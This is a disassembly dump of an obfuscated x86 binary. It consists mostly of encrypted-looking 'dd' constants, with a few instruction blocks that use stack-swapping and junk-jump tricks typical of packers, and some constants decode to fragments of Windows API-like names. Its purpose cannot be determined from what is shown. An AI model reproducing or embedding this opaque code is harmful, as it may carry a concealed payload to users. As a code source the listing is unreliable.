820F04EBh, 18h, 13E9h, 1989200h dd 804A82E2h, 882E8BFh, 0E04AE2F9h, 19A5D1D2h, 0A340FB81h dd 850FFFFFh, 20h, 5E860h, 63500000h, 0F67039Ch, 80h, 0B70F5F00h dd 18E961C2h, 0AD000000h, 13571085h, 0F1DA8166h, 0FF58E9E4h dd 0F272FFFFh, 0BAC803AFh, 0EBE10DE2h, 8, 13FE9500h, 502E940h dd 0BE680000h, 0E90625A2h, 0FFF9DBDAh, 25A33768h, 0DBD0E906h dd 7B68FFF9h, 0E90625A4h, 0FFF9DBC6h, 67DE2389h, 86FD02A3h dd 0A219E8C2h, 0BD34CBDEh, 0DD54ADF9h, 0D8CED791h, 0C5EEB229h dd 990FD34Ah, 7A2DF168h, 0CC450E85h, 0AE004820h, 30A3DB19h dd 13EEBC7Ch, 9A673FEFh, 0AC535408h, 2469CE35h, 95EAFFABh dd 0C37715F0h, 0E01F8A4Ah, 0B68A2ABCh, 1C25F2D4h, 0EE58699Fh dd 8EB45B58h, 0A4C8B5C2h, 0E3A3B529h, 81173BC4h, 974C938h dd 2F2D5h, 7FEB6200h, 0FC27EC4Bh, 0D6677ABEh, 0BC2C04B0h dd 0BBF1FD2h, 6A42EE67h, 0FD1FD2BCh, 802CA549h, 15EF9CC7h dd 7515A85Ch, 22D50428h, 70E9AC8Bh, 0E206F9B0h, 2CAAE069h dd 2184A81Ch, 9F692B6h, 8619741Eh, 7B1FE2C6h, 90634202h dd 0B159EB16h, 57E90Dh, 50D95237h, 0D3CF571Ah, 0E307BF89h dd 931BA647h, 77154B1Fh, 31A503D1h, 36AF53h, 358834E0h dd 2AA3C771h, 4BC23D6Ah, 59A8FEBEh, 4BFB1FC7h, 813CA35Ch dd 3CF9E60Ah, 33087A6h, 25870000h, 4A165DCh, 0EAC084FBh dd 0CDDCA017h, 0AFF7BB32h, 0D58FDB52h, 0B42BD6D0h, 0D54CC3F0h dd 0F36A9711h, 1087782Fh, 4A22CE47h, 0DD19ADFFh, 0BC7C32A5h dd 4F6414EBh, 0EE499CC0h, 0A1421AC6h, 21D51FD3h, 39CB3471h dd 0B474ED91h, 6FE80CF3h, 0F9045EC3h, 0DE570B15h, 279881Eh dd 799683Eh, 25DCCA8Ah, 2BC7EB93h, 25F9435Ch, 5BC23D6Ah dd 0F0026DD4h, 0B79CBB51h, 0E000002h, 28EC639Eh, 470B827Dh dd 63279E63h, 7E42B946h, 1662D928h, 0B44D595Ch, 0D53A793Dh dd 0F30E9A5Eh, 10EFB87Ch, 0AB57D099h, 19ADFED3h, 7CBB2E66h dd 0A16F47F3h, 3151FD3h, 9E4C8FBEh, 0E65F134Ch, 0D381623Ah dd 1D41F51Fh, 0AF286DCAh, 0BD446626h, 0C35F832Bh, 15F8E45Eh dd 619E0BCBh, 0CA0327CFh, 0D6DD9D16h, 0E3831539h, 25F9240Fh dd 7138F875h, 0EFEF6A8Eh, 4EC60D4Ch, 169A009h, 8E170000h dd 0F92C0AE2h, 39E99D25h, 5A02946Dh, 6245D336h, 50570B9Dh dd 66D138AFh, 0E9FEAA23h, 7615F0A9h, 0BC9030C2h, 0D025F2A8h dd 0E69A2CE3h, 1AAC3EC1h, 8CEA439Bh, 2F6AD10Dh, 0BE097441h dd 2Ch, 95A24Bh, 8136DB87h, 2FE315F0h, 0C229FD9Dh, 128F25F2h dd 1AAC5352h, 0BD34E72h, 0E7188D4Dh, 5C6C2DC3h, 9E810974h dd 0E000000h, 0B9D6245h, 39B24F57h, 0A22C04B0h, 0BBF1FD3h dd 0A30EE692h, 0EDA11FD3h, 248337C9h, 0CCC49DBh, 2ED668A7h dd 0B24D5A0Ah, 0A79D8B3Bh, 0FEA91FD3h, 14238A01h, 27CB3475h dd 151D02AEh, 16CA15F5h, 2CC9DD9Dh, 69E0847Bh, 990001A5h dd 0F0067F00h, 73D0EF85h, 0CA000001h, 0E4A81FE2h, 3C73EC1h dd 1FE35AA7h, 3AFE758Ah, 0D21E956Ch, 70911518h, 917E35F9h dd 0AF52561Ah, 0CC337438h, 67138C55h, 19ADFD8Fh, 4577EA22h dd 9C29A061h, 0B561C9DCh, 1FD3A1DDh, 0F418BC70h, 259C6344h dd 9D6245AEh, 0AF50570Bh, 0C8EBAB38h, 67D02347h, 9720A922h dd 0D3A213EBh, 7570A61Fh, 9CABF52Bh, 0C5618529h, 15F0CE81h dd 88872CECh, 0F12A4EF6h, 0A204C43Dh, 6438E85Fh, 7825F2CDh dd 0CC59D02Fh, 4468A70Ch, 76EF1294h, 0E80CF3B6h, 0DC3756h dd 0EAAA0000h, 6A11C2BBh, 0CBDE8DDh, 0A2E14468h, 0DB870095h dd 15F904B2h, 718227E7h, 9729CD42h, 0DE92CBEFh, 57182F65h dd 7B907DDEh, 9611C557h, 2F65F269h, 59543D96h, 0A8594FDBh dd 7730E004h, 0DE56F688h, 0FADC0F17h, 0F9D17DADh, 8C6C2F16h dd 0EEA234D8h, 0AAB446B9h, 4B5EC31Bh, 0D67A22B4h, 849D41D0h dd 0A165DC23h, 48B9ED06h, 4B5E12A4h, 6B23BB4h, 6C2F162Eh dd 57E90DC1h, 6BFD02A3h, 7B0DF2B7h, 0CB627CF7h, 0AA00C03Dh dd 9C48C557h, 6C2F16C4h, 0DBFFA357h, 4A37E60h, 4DF982FBh dd 6C2F1675h, 0F9787D1Bh, 2D661496h dd 89D1CDF7h, 0BC60E79Ch, 0D4942198h, 0F49C2ED1h, 788720D0h dd 99663FFFh, 13C4E375h, 37000000h, 51832901h, 7CA27B1Ah dd 45F1B871h, 638703h, 674540A7h, 5354089Ah, 42661AACh dd 3A792DBFh, 178F43D5h, 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh dd 0CBDA8E20h, 5086A234h, 0BD55E089h, 4, 835DE801h, 48704E8h dd 3685C24h, 89000039h, 4A68241Ch, 89000038h, 0BA522404h dd 11C64EF5h, 598BEA81h, 0D2F75032h, 6E82F281h, 0E2D15320h dd 233CBD55h, 0EA291C1Eh, 4EF2815Dh, 89B85F05h, 0EC835AD3h dd 24248904h, 4240483h, 0DF895758h, 8408F57h, 24048B5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_535A7A ; --------------------------------------------------------------------------- db 55h dd 97C3BE12h, 0A9AD9C75h, 3F44B17Eh, 25A613B8h, 0FFC50306h dd 377F29E0h, 0EADBCF77h, 0E6430545h, 55A18929h, 4B665277h dd 0C1BD5276h, 7628D2Dh, 0F0428279h, 0B984FB13h, 65175D5Ch dd 248FBF77h, 0A9F9EF28h, 0BCA90F56h, 1223254Bh, 570D8556h dd 0A6F05863h, 0D9F2B32Ah, 0AD95E717h, 8A8D8D4Ah, 6A0625A7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 701BC355h, 0F5BF6640h, 5D8D89ABh, 0C7061F0Bh dd 1F20C585h, 680006h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0ED9D3177h, 0C7061F2Bh dd 1F137D85h, 6, 5DB5FF00h, 6A061F10h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D04EC352h dd 0F18B66B0h, 2D5995FFh, 6AF5061Fh, 4595FF00h, 8B061F1Dh dd 6F1BEBC0h, 10CA744Bh, 41D4BBE2h, 9FDD58AFh, 1110EFBAh dd 0A8132D00h, 5402CA3Eh, 12E8D6BCh, 7F000000h, 7F53A386h dd 1B4CEA2Ch, 47AEF8ECh, 0E024D817h, 0B50B602Ch, 61F0681h dd 0BD8B5E61h, 61F05BDh, 6CA1C681h, 8D8B0000h, 61F0AD5h dd 1AF468h, 0FD858900h, 58061F2Eh, 456FBB66h, 8D09168Bh dd 61F0B8Dh, 5D0EA81h, 852976AFh, 61F06A5h, 0CF66EA81h dd 95890854h, 61F24B9h, 78D3F281h, 0BD895EE1h, 61F07DDh dd 9D891689h, 61F32ADh, 15BCEE81h, 8D310F3Ah, 61F3009h dd 15B8C681h, 830F0F3Ah, 6, 2459D33h, 0E883061Fh, 20850F01h dd 0F000000h, 38Dh, 0F9BF0F00h, 2FE9h, 0ADF43300h, 32ABA2F1h dd 1753FB38h, 57CBF1F4h, 0F4830A4h, 686h, 959D8B00h, 0E9061F0Fh dd 0FFFFFF74h, 850C151Ah, 84B30759h, 0F38A16F8h, 7E8h dd 85422400h, 0D8033FFFh, 5ECBEF80h, 68D98166h, 10C6817Ah dd 0F000060h, 387h, 75D78000h, 68h, 7D958900h, 5A061F0Dh dd 3234FFF8h, 0F4BDACB8h, 0E68A5F7Dh, 3131F781h, 9D8B7669h dd 61F1F4Dh, 2408EF81h, 890F5491h, 9, 38C0Fh, 0B70F0000h dd 0DEC781C8h, 8B534B8Fh, 1F2E7585h, 0EC8A5706h, 8116048Fh dd 3607EDE1h, 83EA8A62h, 0BD8902EAh, 61F2079h, 858B4A4Ah dd 61F1465h, 0A088FA81h, 850FFFFFh, 0FFFFFF9Dh, 8E9h, 50524700h dd 4DA4D2A5h, 13E87Ch, 60A50000h, 0A237BD94h, 9C39C401h dd 0F25B83F1h, 550DAEDEh, 0D8B70F4Eh, 0DEB70F5Eh, 6893C681h dd 8D8B0000h, 61F0F95h, 0B8h, 9E900h, 7950000h, 6BA4707Fh dd 8B47E507h, 0DD80063Ch, 0B5F7819Ah, 0E85D2702h, 7, 4C0B3ECBh dd 0B3ECF8CAh, 0F7815B92h, 75E7625Ah, 32E5D281h, 0C7810E59h dd 40EA5A2h, 63C89FCh, 2ACD9D89h, 0FBB061Fh, 811E3CBDh dd 96E0DAE8h, 0D38B6613h, 0E0D6C081h, 0EA811396h, 4D69E4D1h dd 9828F881h, 850FFFFFh, 19h, 6830Fh, 0B5890000h, 61F0F7Dh dd 18E9h, 0CAE83700h, 4EDFE28Ch, 5BE181D9h, 0E96CF6A3h dd 0FFFFFF7Fh, 30216A68h, 83C08B0Fh, 1F06C1BDh, 9750006h dd 1F51BD83h, 7400061Fh, 8B535019h, 421B8C0h, 85890000h dd 61F0F65h, 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h dd 50177400h, 421B853h, 85890000h, 61F0F65h, 0AC939D8Dh dd 0D3FF0621h, 0C08B585Bh, 5CD9D8Bh, 85C6061Fh, 61F2025h dd 0B8526856h, 0B5FF9CA8h, 61F3271h, 7993858Dh, 0D0FF0622h dd 68046Ah, 0FF000010h, 1F11CDB5h, 0FF006A06h, 0FC085D0h dd 0D85h, 0B800h, 8D8D0000h, 61F7110h, 0C88BE1FFh, 4003C38Bh dd 0F8053Ch, 508B0000h, 83D3030Ch, 1F1945BDh, 840F0006h dd 0Eh, 19459D8Bh, 858B061Fh, 61F1C3Dh, 52510389h, 421B858Dh dd 0D0FF061Fh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 61F2025h dd 6D396856h, 0B5FFD41Fh, 61F3271h, 7993858Dh, 0D0FF0622h dd 800068h, 52006A00h, 0C08BD0FFh, 6C1BD83h, 7500061Fh dd 51BD8309h, 61F1Fh, 53501974h, 21B8C08Bh, 89000004h dd 1F139585h, 0B9D8D06h, 0FF0621B0h, 83585BD3h, 1F1F51BDh dd 17740006h, 21B85350h, 89000004h, 1F139585h, 0AC9D8D06h dd 0FF0621ACh, 8B585BD3h, 459D8DC0h, 8B061F19h, 0FC00B03h dd 784h, 8B038B00h, 1889045Bh, 4B41B8h, 6E800h, 806A0000h dd 0C07A279Fh, 0A2E88160h, 6109E005h, 8172B05Eh, 667BC6h dd 0C88B6600h, 197068h, 850F6000h, 6, 5F39D281h, 13E81046h dd 47000000h, 7D564C37h, 42653B58h, 2E42EFFCh, 96952D5Ah dd 6E88C73h, 7B000000h, 3425DC14h, 61585A85h, 0F52525Ah dd 8Eh, 8B595900h, 2FC0811Eh, 813BDF84h, 0C78BC9C3h, 8E947h dd 3A650000h, 0D6B23BAFh, 0F381055Ah, 35387C88h, 0FE8h dd 0FE015C00h, 95F33FAFh, 956881BCh, 547D3A23h, 0BB56C881h dd 81586E68h, 0F9C819C3h, 0A8EBB823h, 1E890B29h, 83C18B66h dd 0F4A04EEh, 0FFFFAA85h, 7E9FFh, 0F26E0000h, 0A9A9FEF3h dd 16EB12h, 4 dup(0) dd 1000000h, 40001h, 6A062500h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 7395C353h, 8BD02735h dd 1F13558Dh, 0E9605006h, 0Eh, 62CCF9BAh, 308A1550h, 1219D1BEh dd 8D0FFCFAh, 6, 8A0Fh, 89610000h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 705097C3h dd 59E5396Fh, 85898427h, 61F1AB9h, 571351BAh, 6A006A2Eh dd 8DFD8A00h, 25AD4385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 1D8F40CBh, 0D7EA8172h dd 50075E3Eh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 641DC355h, 0DFCAAD6Fh dd 830F006Ah, 6, 0B202EA81h, 6A5A83h, 16195FFh, 14E8061Fh dd 40000000h, 0B78F1C3h, 1AB60636h, 4AD4EE4Eh, 4AB20722h dd 57A1CD50h, 8C0Fh, 5B5F0000h, 502E9h, 0CD853100h, 0E8061F1Bh dd 0 dd 48ED815Dh, 660625ADh, 166ED981h, 682BDE80h, 0B741A9D0h dd 2253B966h, 0D0240481h, 6A48BE65h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 690C353h dd 73D3B8F8h, 9BE78166h, 4595FFFCh, 89061F1Dh, 1F152595h dd 13B58D06h, 6A0625ACh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0EF14C357h, 60D799CAh dd 0C768F8D6h, 67655206h, 659D2B6Dh, 0C7061F2Ch, 6E6F0446h dd 8B666C63h, 846C7D0h, 737361h, 0C8C0Fh, 7E90000h, 0D0000000h dd 16EC3974h, 6A11F6h, 0C518D89h, 858D061Fh, 625AC13h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FAC35545h dd 0B5B58F94h, 3880Fh, 8B660000h, 8B6650C8h, 240489CBh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 6AC35141h dd 0CD4CE4FAh, 95895665h, 61F1015h, 3995FF5Ah, 89061F0Ah dd 1F0035B5h, 0FC00B06h, 4084h, 14E900h, 86C30000h, 0EB36E62Fh dd 8023BBEFh, 9E2DE5Eh, 0D23F4847h, 78E9D4A6h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 33B0C356h, 1F07898Dh, 21E26806h, 0E860B62Eh dd 10h, 0FAAAABFAh, 7086BA24h, 6F832585h, 9B722F92h, 12E9h dd 9BFE5500h, 93B41A74h, 796C5C57h, 7437FF4Dh, 59FE1A86h dd 61C68B66h, 4A240481h, 6649D1DFh, 0FFA7DBBFh, 1F1D4595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0C6FA3C99h, 1D12BA58h, 0AC13B58Dh, 6A0625h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 80A467C3h, 92C7B509h, 0A3D9D8Bh, 6C7061Fh, 36343831h dd 0B3CE70BAh, 446C75Eh, 31342D37h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 52C35545h, 0BA2B9020h, 9954E63h dd 1F08D59Dh, 846C706h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7BC35747h dd 0CAF2AFBBh, 6A41AEh, 0D85BD89h, 858D061Fh, 625AC13h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0C6C35040h dd 850FE51Ch, 4, 43C9BA66h, 89D68B50h, 6A2404h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 1AF1F5C3h, 3306D78Fh, 1F1AEDBDh, 3995FF06h, 8B061F0Ah dd 1F2A25BDh, 0FC00B06h, 0B84h, 1DDE900h, 95290000h, 61F1B55h dd 93F26268h, 28F0FFCh, 8A000000h, 240481E8h, 36C0ECAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 41C35040h dd 0FF5F6684h, 1F1D4595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BCA0EC83h dd 0E1EB6062h, 13B58D1Ah, 0F0625ACh, 168Ah, 0DE86000h dd 27000000h, 56EC796Dh, 7F286C5Dh, 0F3ED26EBh, 0C761F85Fh dd 6C694606h, 0FB06065h, 446C761h, 636E6F6Dh, 31F5BD8Bh dd 46C7061Fh, 73616C08h, 0C7FA8A73h, 0C46h, 958B0000h dd 61F1D9Dh, 0BD8B006Ah, 61F151Dh, 11E9h, 0B2D49600h, 42772EE9h dd 0AA3D23E6h, 0DCF3D89Ch, 858DD2DAh, 625AC13h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 56C35242h, 0CEFFCE8Ch dd 8923B868h, 1F202DBDh, 16DE8006h, 0C4B86050h, 573AE591h dd 615E87B7h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0BF24C356h, 60862A2Ch dd 0BF6601AFh, 95FF3A02h, 61F0A39h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0D0C35040h, 0CAAE0522h, 0C00B4D12h dd 30840Fh, 0BD330000h, 61F162Dh, 6AE9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0B4DD571Ah, 15C1A0Ch, 80E9AFFEh, 6AFFFFFBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 3B94C351h, 884DF861h, 188B0FBDh, 0E8000000h, 10h, 5F668441h dd 17213B54h, 3BD05F02h, 8DD284BDh, 8D595F50h, 1F7110B5h dd 0C1816606h, 0B89517h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0AEB0C355h dd 0B035824Fh, 0FFDE8A65h, 0E1BD89E6h, 8B061F02h, 0FDED55C1h dd 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD235812h, 0FD237670h dd 0FD2360B1h, 0FD23E817h, 0FD232D01h, 0FD23CFFFh, 0FD23BEC4h dd 0FD2306A5h, 0FD235A90h, 0FD2377DFh, 0FD236094h, 0FD23EA09h dd 0FD232E6Ah, 0FD23CC4Bh, 0FD23BD14h, 0FD2304D0h, 0FD235824h dd 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch dd 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h dd 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A44B9176h, 0A44B7975h dd 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h, 701ABC75h dd 0D8CC07F0h, 6DFFA673h, 707CB2C7h, 0D8CCA4F0h, 0ADFF6C73h dd 707CD7C7h, 0D8CCD4F0h, 71FF3573h, 707C7BC7h, 0D8CC22F0h dd 0A9FF1E73h, 707CEEC7h, 0D8CF29F0h, 0A5FF7B73h, 707C5CC7h dd 0D8CED6F0h, 0A1FFD773h, 707C0AC7h, 0D8CEEBF0h, 9DFF4273h dd 707CC0C7h, 0D8CE60F0h, 99FFF073h, 707C99C7h, 0D8CEB3F0h dd 8DFFA673h, 707CB2C7h, 0D8CE72F0h, 95FF6C73h, 707CD7C7h dd 0D8CEA1F0h, 91FF3573h, 707C7BC7h, 0D8CEC2F0h, 8DFF1E73h dd 707CEEC7h, 0D8CFC2F0h, 7DFF7B73h, 707C5CC7h, 0D8CFFAF0h dd 79FFD773h, 707C0AC7h, 0D8CFFEF0h, 75FF4273h, 707CC0C7h dd 0D8CF40F0h, 89FFF073h, 707C99C7h, 0D8CFB7F0h, 85FFA673h dd 707CB2C7h, 0D8CC4FF0h, 81FF6C73h, 767CD7C7h, 0E26CE0F0h dd 34FF3573h, 767C7BC7h, 0E272E6F0h, 30FF1E73h, 9C7CEEC7h dd 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0FB5F0FA8h, 0F53FD525h dd 4FB2ADFDh, 34229150h, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h dd 7C277975h, 0D8C94298h, 0B2FFA073h, 7D7C0AC7h, 0D8C8D8C8h dd 0B409CF73h, 4B75E4C5h, 89BAF9B5h, 30EF8635h, 0BD7C99C7h dd 452B96FEh, 0FD7A2F7Ah, 4FB7028Ah, 48F7CD50h, 0FB5F5725h dd 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h, 4FB7BA8Ah dd 48F79150h, 0FB5F7925h, 50FCD1F8h, 1F23228Ah, 0B2F787BCh dd 0A07C99C7h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h, 5779C1CDh dd 4FB3708Ah, 3ED1F450h, 0FD78079Dh, 9BC2DA75h, 9B5954CDh dd 34EFD0DEh, 9B7CB2C7h, 959208DEh, 0B7AE577h, 8872F336h dd 34EF866Eh, 4D7C99C7h, 0AD7954C5h, 4FB3BA8Ah, 9B209150h dd 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh dd 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h, 3ED183FEh dd 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh, 16D049C5h dd 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h, 0B207975h dd 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h, 4DBA07F5h dd 6885B5FFh, 0FB5F40BCh, 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h dd 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h, 0FD7AF22Dh dd 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh, 451C9775h dd 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h, 0FD7BB69Dh dd 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h, 0BE8CE575h dd 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh, 1584487Dh dd 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 30EF0D75h, 707C5CC7h dd 0D8C828C0h, 518A5D73h, 2D02C7Fh, 0D8C85EE0h, 0E5920873h dd 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah, 0A5CA5E75h dd 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh, 9B4BFDCDh dd 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h, 0C923C22h dd 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h, 592438Ah dd 4D7A5E75h, 5779252Dh, 0BBFF69B6h, 7D7CEEC7h, 0D8C8A3C8h dd 0EC0FF373h, 4FC2FCF8h, 152ABA50h, 0FD7A5C61h, 0FD781B9Dh dd 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah, 0BBF787DFh dd 7D7C99C7h, 0D8C818C8h, 0F10F2F73h, 4FC212F8h, 152ACD50h dd 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB5F0EB8h, 4A6FC3F8h dd 0F9F02950h, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh, 3AF1A875h dd 15F9BB5Eh, 3E783571h, 4FB3CB8Ah, 4ACE2950h, 0FF0E9651h dd 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h dd 0F179BEB5h, 577825B5h, 34EF68B6h, 7D7CEEC7h, 39FAEA91h dd 9B7542F5h, 15D12EDEh, 285415Ah, 0D6BDD52Fh, 0F992ACB7h dd 45B995FCh, 0FD7ACB73h, 4FB7708Ah, 60F7F450h, 0FB5FCBD9h dd 3E39A0F8h, 0FD7A4ECDh, 30EFD075h, 7E7CB2C7h, 35F1CEB5h dd 34EF1A89h, 577CD7C7h, 15B98E97h, 28543BEh, 0D97B1DFFh dd 778E5A72h, 0FC6C7F76h, 1608CB75h, 8831DB6h, 11F1A789h dd 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h, 0FB5F9850h, 7D86EAFCh dd 0D8C803CFh, 7975E573h, 0FD7AF2ECh, 0FD7A73CDh, 30E84375h dd 0BD7C7BC7h, 4FABADFCh, 35F19150h, 4A8379F8h, 6F85E350h dd 0FB5F40BCh, 1F3C7FFDh, 0FD6D0480h, 7F795E75h, 0FB5F9DA4h dd 10E01A35h, 7E7CEEC2h, 0FEF3E1B6h, 0FD644B22h, 77797975h dd 0FB5F0EA4h, 4AA1ECF8h dd 59892950h, 0FD722F2Bh, 6F85CB75h, 0FB5F57B8h, 897E0AF6h dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 0F190162Fh, 707CEECDh dd 0D8C830CFh, 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh dd 28E7A226h, 7D7CB2C7h, 887BD349h, 1683BE71h, 3E82A977h dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0FB5F9730h, 4FAF25F8h dd 80F1CD50h, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h dd 0FB5FECA0h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 4FAF58F8h dd 0C2FBF450h, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h dd 9C82969Eh, 40F7ABB6h, 0FB5F57A0h, 0FD7AF3CDh, 0FD72C075h dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0FB5F2597h, 0CA8BD08Ah dd 11519D8Dh, 0B8061Fh, 89000013h, 1F16FD85h, 0E806h, 5580000h dd 0Dh, 0E90389h, 13h, 4BFh dup(0) dd 8D000000h, 25CCA38Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0FBE2D070h, 0A20D7DFDh dd 8D0F48EFh, 3, 89F6B70Fh, 1F0B5D8Dh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0C7C97F56h, 1F20C585h, 747406h, 61BD8B00h, 0C7061F0Ah dd 1F137D85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 33B47A03h, 105DB5FFh dd 0EC80061Fh, 5995FF3Ch, 6A061F2Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 484DC357h dd 0E6FA5C05h, 0F996802Bh, 95FF006Ah, 61F1D45h, 1BEBC08Bh dd 0A19DF547h, 0F49B7EB3h, 50146F55h, 9B735357h, 0A5EF35ABh dd 0B8441CD7h, 0E8B8FB7Fh, 9, 2EE7EDD2h, 368CBE25h, 0BD295201h dd 61F14FDh, 0F080595Ah, 11C181C8h, 8000005Ah, 0BBEADAh dd 0F5000000h, 0B0B34FFh, 1F2ED595h, 80605E06h, 952374E2h dd 61F23E5h, 85EE8161h, 2909EF6Bh, 1F13BD85h, 0E2EE8106h dd 0B838374Ah, 4B12863Dh, 19EF681h, 816662FFh, 89AED9F2h dd 81661934h, 0F88EDD8h, 0EB81D1B7h, 2A01C7CCh, 0E1BD8Bh dd 0C381061Fh, 2A01C7C8h, 6DBD2Bh, 0FB81061Fh, 0FFFFA67Ch dd 0FF9A850Fh, 6652FFFFh, 17DFF781h, 2AE958h, 4C70000h dd 24h, 0E800h, 815D0000h, 25CD6AEDh, 24448B06h, 0E5858904h dd 0B8061F1Eh, 0 dd 4DB08D8Dh, 0E1FF061Fh, 6754B8h, 0F5CAFE00h, 4AA80809h dd 308A4C86h, 0ABA8080Eh, 8875EAD5h, 70A8080Eh, 0BA8A4C87h dd 2D57AE5Dh, 0F88A4C87h, 0ABA8080Fh, 4375EAD5h, 13A8080Ch dd 0CD8A4C84h, 9DA8080Ch, 478A4C84h, 0ABA8080Dh, 2575EAD5h dd 9A10D42Fh, 0C003130Fh, 528D9C2Dh, 8AAC90A7h, 0D1215787h dd 43AFD8B9h, 9BD5D42Fh, 0C003130Fh, 528D9C35h, 8A5F90A7h dd 0D1215787h, 43AFD8B5h, 8484D42Fh, 0C003130Fh, 528D9C01h dd 950B90A7h, 0D1215787h, 43AFD881h, 846DD42Fh, 0C003130Fh dd 528D9C0Dh, 948490A7h, 0D1215787h, 43AFD89Dh, 85E7D42Fh dd 0C003130Fh, 528D9C19h, 941A90A7h, 0D1215787h, 43AFD895h dd 8579D42Fh, 0C003130Fh, 528D9C61h, 978090A7h, 0D1215787h dd 43AFD8EDh, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 604467C0h, 0A8ED96A4h, 458A152Ah, 67A02429h dd 